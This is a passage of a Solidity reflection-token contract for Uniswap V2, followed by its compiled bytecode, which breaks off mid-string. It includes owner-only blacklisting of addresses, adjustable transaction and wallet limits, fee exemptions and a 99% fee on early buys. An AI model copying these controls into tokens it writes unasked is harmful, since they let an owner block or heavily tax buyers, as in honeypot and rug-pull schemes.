from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // uint256 contractETHBalance = address(this).balance; // if (contractETHBalance > 0) { // sendETHToFee(address(this).balance); // } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; // .5% _maxTxAmount = 1000000000000 * 10**9; _maxWalletAmount = 2000000000000 * 10**9; tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf91461043f578063dd62ed3e14610456578063e98391ff14610493578063ec28438a146104bc578063f4293890146104e5578063ffecf516146104fc5761014b565b80638da5cb5b1461033157806395d89b411461035c5780639a590427146103875780639b19251a146103b0578063a9059cbb146103d9578063bf6642e7146104165761014b565b806327a14fc21161010857806327a14fc214610249578063313ce5671461027257806351bc3c851461029d5780635932ead1146102b457806370a08231146102dd578063715018a61461031a5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e3578063273123b7146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610525565b6040516101729190613180565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612cad565b610562565b6040516101af9190613165565b60405180910390f35b3480156101c457600080fd5b506101cd610580565b6040516101da9190613342565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612c5a565b610592565b6040516102179190613165565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612b93565b61066b565b005b34801561025557600080fd5b50610270600480360381019061026b9190612d47565b61075b565b005b34801561027e57600080fd5b50610287610809565b60405161029491906133b7565b60405180910390f35b3480156102a957600080fd5b506102b2610812565b005b3480156102c057600080fd5b506102db60048036038101906102d69190612ced565b61082b565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190612b93565b6108dd565b6040516103119190613342565b60405180910390f35b34801561032657600080fd5b5061032f61092e565b005b34801561033d57600080fd5b50610346610a81565b6040516103539190613097565b60405180910390f35b34801561036857600080fd5b50610371610aaa565b60405161037e9190613180565b60405180910390f35b34801561039357600080fd5b506103ae60048036038101906103a99190612bed565b610ae7565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612bed565b610bd7565b005b3480156103e557600080fd5b5061040060048036038101906103fb9190612cad565b610cc7565b60405161040d9190613165565b60405180910390f35b34801561042257600080fd5b5061043d60048036038101906104389190612d47565b610ce5565b005b34801561044b57600080fd5b50610454610d84565b005b34801561046257600080fd5b5061047d60048036038101906104789190612c1a565b6112f9565b60405161048a9190613342565b60405180910390f35b34801561049f57600080fd5b506104ba60048036038101906104b59190612ced565b611380565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612d47565b611432565b005b3480156104f157600080fd5b506104fa6114e0565b005b34801561050857600080fd5b50610523600480360381019061051e9190612b93565b6114f1565b005b60606040518060400160405280600481526020017f5465737400000000000000000000000000000000000000000000000000000000815250905090565b600061057661056f6115e1565b84846115e9565b6001905092915050565b600069152d02c7e14af6800000905090565b600061059f8484846117b4565b610660846105ab6115e1565b61065b85604051806060016040528060288152602001613a3660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106116115e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff29092919063ffffffff16565b6115e9565b600190509392505050565b6106736115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f790613242565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6107636115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e790613242565b60405180910390fd5b633b9aca008161080091906134ae565b600d8190555050565b60006009905090565b600061081d306108dd565b905061082881612056565b50565b6108336115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b790613242565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b6000610927600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122de565b9050919050565b6109366115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba90613242565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5445535400000000000000000000000000000000000000000000000000000000815250905090565b610aef6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7390613242565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bdf6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6390613242565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610cdb610cd46115e1565b84846117b4565b6001905092915050565b610ced6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7190613242565b60405180910390fd5b80600c8190555050565b610d8c6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1090613242565b60405180910390fd5b601360149054906101000a900460ff1615610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e60906132e2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610efa30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af68000006115e9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f4057600080fd5b505afa158015610f54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f789190612bc0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fda57600080fd5b505afa158015610fee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110129190612bc0565b6040518363ffffffff1660e01b815260040161102f9291906130b2565b602060405180830381600087803b15801561104957600080fd5b505af115801561105d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110819190612bc0565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061110a306108dd565b600080611115610a81565b426040518863ffffffff1660e01b815260040161113796959493929190613104565b6060604051808303818588803b15801561115057600080fd5b505af1158015611164573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111899190612d74565b5050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550683635c9adc5dea00000600a81905550686c6b935b8bbd400000600d819055506001601360146101000a81548160ff02191690831515021790555043600b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112a39291906130db565b602060405180830381600087803b1580156112bd57600080fd5b505af11580156112d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f59190612d1a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113886115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c90613242565b60405180910390fd5b80601360156101000a81548160ff02191690831515021790555050565b61143a6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90613242565b60405180910390fd5b633b9aca00816114d791906134ae565b600a8190555050565b60004790506114ee8161234c565b50565b6114f96115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157d90613242565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611659576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611650906132c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c0906131e2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117a79190613342565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b906132a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b906131a2565b60405180910390fd5b600081116118d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ce90613262565b60405180910390fd5b6002600e819055506008600f819055506118ef610a81565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561195d575061192d610a81565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561199557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119eb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a415750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fd157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aea5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611af357600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b9e5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c0c5750601360179054906101000a900460ff165b15611d8057600a54811115611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d90613302565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90613322565b60405180910390fd5b600d5481611ce4846108dd565b611cee9190613427565b1115611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2690613282565b60405180910390fd5b601e42611d3c9190613427565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611e2b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e815750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e97576002600e819055506008600f819055505b436004600b54611ea79190613427565b10158015611f025750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611f18576001600e819055506063600f819055505b6000611f23306108dd565b90506000600c548210159050808015611f495750601360159054906101000a900460ff16155b8015611fa35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611fbb5750601360169054906101000a900460ff165b15611fca57611fc982612056565b5b5050611fe2565b6000600e819055506000600f819055505b611fed838383612447565b505050565b600083831115829061203a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120319190613180565b60405180910390fd5b50600083856120499190613508565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561208e5761208d613675565b5b6040519080825280602002602001820160405280156120bc5781602001602082028036833780820191505090505b50905030816000815181106120d4576120d3613646565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561217657600080fd5b505afa15801561218a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121ae9190612bc0565b816001815181106121c2576121c1613646565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061222930601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115e9565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161228d95949392919061335d565b600060405180830381600087803b1580156122a757600080fd5b505af11580156122bb573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000600854821115612325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231c906131c2565b60405180910390fd5b600061232f612457565b9050612344818461248290919063ffffffff16565b915050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61239c60028461248290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123c7573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61241860028461248290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b5050565b6124528383836124cc565b505050565b6000806000612464612697565b9150915061247b818361248290919063ffffffff16565b9250505090565b60006124c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126fc565b905092915050565b6000806000806000806124de8761275f565b95509550955095509550955061253c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125d185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261d8161286f565b612627848361292c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126849190613342565b60405180910390a3505050505050505050565b60008060006008549050600069152d02c7e14af680000090506126cf69152d02c7e14af680000060085461248290919063ffffffff16565b8210156126ef5760085469152d02c7e14af68000009350935050506126f8565b81819350935050505b9091565b60008083118290612743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273a9190613180565b60405180910390fd5b5060008385612752919061347d565b9050809150509392505050565b600080600080600080600080600061277c8a600e54600f54612966565b925092509250600061278c612457565b9050600080600061279f8e8787876129fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061280983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ff2565b905092915050565b60008082846128209190613427565b905083811015612865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285c90613202565b60405180910390fd5b8091505092915050565b6000612879612457565b905060006128908284612a8590919063ffffffff16565b90506128e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612941826008546127c790919063ffffffff16565b60088190555061295c8160095461281190919063ffffffff16565b6009819055505050565b6000806000806129926064612984888a612a8590919063ffffffff16565b61248290919063ffffffff16565b905060006129bc60646129ae888b612a8590919063ffffffff16565b61248290919063ffffffff16565b905060006129e5826129d7858c6127c790919063ffffffff16565b6127c790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a158589612a8590919063ffffffff16565b90506000612a2c8689612a8590919063ffffffff16565b90506000612a438789612a8590919063ffffffff16565b90506000612a6c82612a5e85876127c790919063ffffffff16565b6127c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612a985760009050612afa565b60008284612aa691906134ae565b9050828482612ab5919061347d565b14612af5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aec90613222565b60405180910390fd5b809150505b92915050565b600081359050612b0f816139d9565b92915050565b600081519050612b24816139d9565b92915050565b600081359050612b39816139f0565b92915050565b600081359050612b4e81613a07565b92915050565b600081519050612b6381613a07565b92915050565b600081359050612b7881613a1e565b92915050565b600081519050612b8d81613a1e565b92915050565b600060208284031215612ba957612ba86136a4565b5b6000612bb784828501612b00565b91505092915050565b600060208284031215612bd657612bd56136a4565b5b6000612be484828501612b15565b91505092915050565b600060208284031215612c0357612c026136a4565b5b6000612c1184828501612b2a565b91505092915050565b60008060408385031215612c3157612c306136a4565b5b6000612c3f85828601612b00565b9250506020612c5085828601612b00565b9150509250929050565b600080600060608486031215612c7357612c726136a4565b5b6000612c8186828701612b00565b9350506020612c9286828701612b00565b9250506040612ca386828701612b69565b9150509250925092565b60008060408385031215612cc457612cc36136a4565b5b6000612cd285828601612b00565b9250506020612ce385828601612b69565b9150509250929050565b600060208284031215612d0357612d026136a4565b5b6000612d1184828501612b3f565b91505092915050565b600060208284031215612d3057612d2f6136a4565b5b6000612d3e84828501612b54565b91505092915050565b600060208284031215612d5d57612d5c6136a4565b5b6000612d6b84828501612b69565b91505092915050565b600080600060608486031215612d8d57612d8c6136a4565b5b6000612d9b86828701612b7e565b9350506020612dac86828701612b7e565b9250506040612dbd86828701612b7e565b9150509250925092565b6000612dd38383612ddf565b60208301905092915050565b612de88161353c565b82525050565b612df78161353c565b82525050565b6000612e08826133e2565b612e128185613405565b9350612e1d836133d2565b8060005b83811015612e4e578151612e358882612dc7565b9750612e40836133f8565b925050600181019050612e21565b5085935050505092915050565b612e6481613560565b82525050565b612e73816135a3565b82525050565b6000612e84826133ed565b612e8e8185613416565b9350612e9e8185602086016135b5565b612ea7816136a9565b840191505092915050565b6000612ebf602383613416565b9150612eca826136ba565b604082019050919050565b6000612ee2602a83613416565b9150612eed82613709565b604082019050919050565b6000612f05602283613416565b9150612f1082613758565b604082019050919050565b6000612f28601b83613416565b9150612f33826137a7565b602082019050919050565b6000612f4b602183613416565b9150612f56826137d0565b604082019050919050565b6000612f6e602083613416565b9150612f798261381f565b602082019050919050565b6000612f91602983613416565b9150612f9c82613848565b604082019050919050565b6000612fb4601783613416565b9150612fbf82613897565b602082019050919050565b6000612fd7602583613416565b9150612fe2826138c0565b604082019050919050565b6000612ffa602483613416565b91506130058261390f565b604082019050919050565b600061301d601783613416565b91506130288261395e565b602082019050919050565b6000613040601c83613416565b915061304b82613987565b602082019050919050565b6000613063601283613416565b915061306e826139b0565b602082019050919050565b6130828161358c565b82525050565b61309181613596565b82525050565b60006020820190506130ac6000830184612dee565b92915050565b60006040820190506130c76000830185612dee565b6130d46020830184612dee565b9392505050565b60006040820190506130f06000830185612dee565b6130fd6020830184613079565b9392505050565b600060c0820190506131196000830189612dee565b6131266020830188613079565b6131336040830187612e6a565b6131406060830186612e6a565b61314d6080830185612dee565b61315a60a0830184613079565b979650505050505050565b600060208201905061317a6000830184612e5b565b92915050565b6000602082019050818103600083015261319a8184612e79565b905092915050565b600060208201905081810360008301526131bb81612eb2565b9050919050565b600060208201905081810360008301526131db81612ed5565b9050919050565b600060208201905081810360008301526131fb81612ef8565b9050919050565b6000602082019050818103600083015261321b81612f1b565b9050919050565b6000602082019050818103600083015261323b81612f3e565b9050919050565b6000602082019050818103600083015261325b81612f61565b9050919050565b6000602082019050818103600083015261327b81612f84565b9050919050565b6000602082019050818103600083015261329b81612fa7565b9050919050565b600060208201905081810360008301526132bb81612fca565b9050919050565b600060208201905081810360008301526132db81612fed565b9050919050565b600060208201905081810360008301526132fb81613010565b9050919050565b6000602082019050818103600083015261331b81613033565b9050919050565b6000602082019050818103600083015261333b81613056565b9050919050565b60006020820190506133576000830184613079565b92915050565b600060a0820190506133726000830188613079565b61337f6020830187612e6a565b81810360408301526133918186612dfd565b90506133a06060830185612dee565b6133ad6080830184613079565b9695505050505050565b60006020820190506133cc6000830184613088565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134328261358c565b915061343d8361358c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613472576134716135e8565b5b828201905092915050565b60006134888261358c565b91506134938361358c565b9250826134a3576134a2613617565b5b828204905092915050565b60006134b98261358c565b91506134c48361358c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134fd576134fc6135e8565b5b828202905092915050565b60006135138261358c565b915061351e8361358c565b925082821015613531576135306135e8565b5b828203905092915050565b60006135478261356c565b9050919050565b60006135598261356c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ae8261358c565b9050919050565b60005b838110156135d35780820151818401526020810190506135b8565b838111156135e2576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e730000